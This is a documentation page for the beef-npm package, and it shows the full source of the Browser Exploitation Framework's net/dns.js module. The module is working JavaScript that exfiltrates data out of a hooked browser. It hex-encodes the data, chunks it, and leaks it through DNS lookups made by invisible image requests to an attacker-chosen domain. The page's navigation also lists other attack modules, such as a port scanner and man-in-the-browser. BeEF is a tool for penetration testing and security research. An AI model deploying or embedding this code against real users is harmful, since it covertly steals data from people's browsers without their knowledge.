beef-npm
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Node.js package to install and interact with BeEF (Browser Exploitation Framework)
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<h1 class="page-title">Source: net/dns.js</h1>
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<pre class="prettyprint source linenums"><code>//
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
*
* request object structure:
* + msgId: {Integer} Unique message ID for the request.
* + domain: {String} Remote domain to retrieve the data.
* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
* + callback: {Function} Callback function to receive the number of requests sent.
* @namespace beef.net.dns
*/
beef.net.dns = {
handler: "dns",
/**
*
* @param msgId
* @param data
* @param domain
* @param callback
*/
send: function(msgId, data, domain, callback) {
var encode_data = function(str) {
var result="";
for(i=0;i<str.length;++i) {
result+=str.charCodeAt(i).toString(16).toUpperCase();
}
return result;
};
var encodedData = encodeURI(encode_data(data));
beef.debug(encodedData);
beef.debug("_encodedData_ length: " + encodedData.length);
// limitations to DNS according to RFC 1035:
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
// o Domain names are limited to 255 characters in length (including dots)
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
// o Subdomains are limited to 63 characters in length (including the trailing dot)
// DNS request structure:
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
//max_length: 3. 3 . 3 . 63 . x
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
var max_data_segment_length = 63; // by RFC
beef.debug("max_data_segment_length: " + max_data_segment_length);
var dom = document.createElement('b');
String.prototype.chunk = function(n) {
if (typeof n=='undefined') n=100;
return this.match(RegExp('.{1,'+n+'}','g'));
};
var sendQuery = function(query) {
var img = new Image;
//img.src = "http://"+query;
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
//experimental
//setTimeout(function(){dom.removeChild(img)},1000);
};
var segments = encodedData.chunk(max_data_segment_length);
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
beef.debug(segments.length);
for (var seq=1; seq<=segments.length; seq++) {
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
}
// callback - returns the number of queries sent
if (!!callback) callback(segments.length);
}
};
beef.regCmp('beef.net.dns');
</code></pre>
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<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="BeefJS.html">BeefJS</a></li><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li></ul><h3>Global</h3><ul><li><a href="global.html#platform">platform</a></li></ul>
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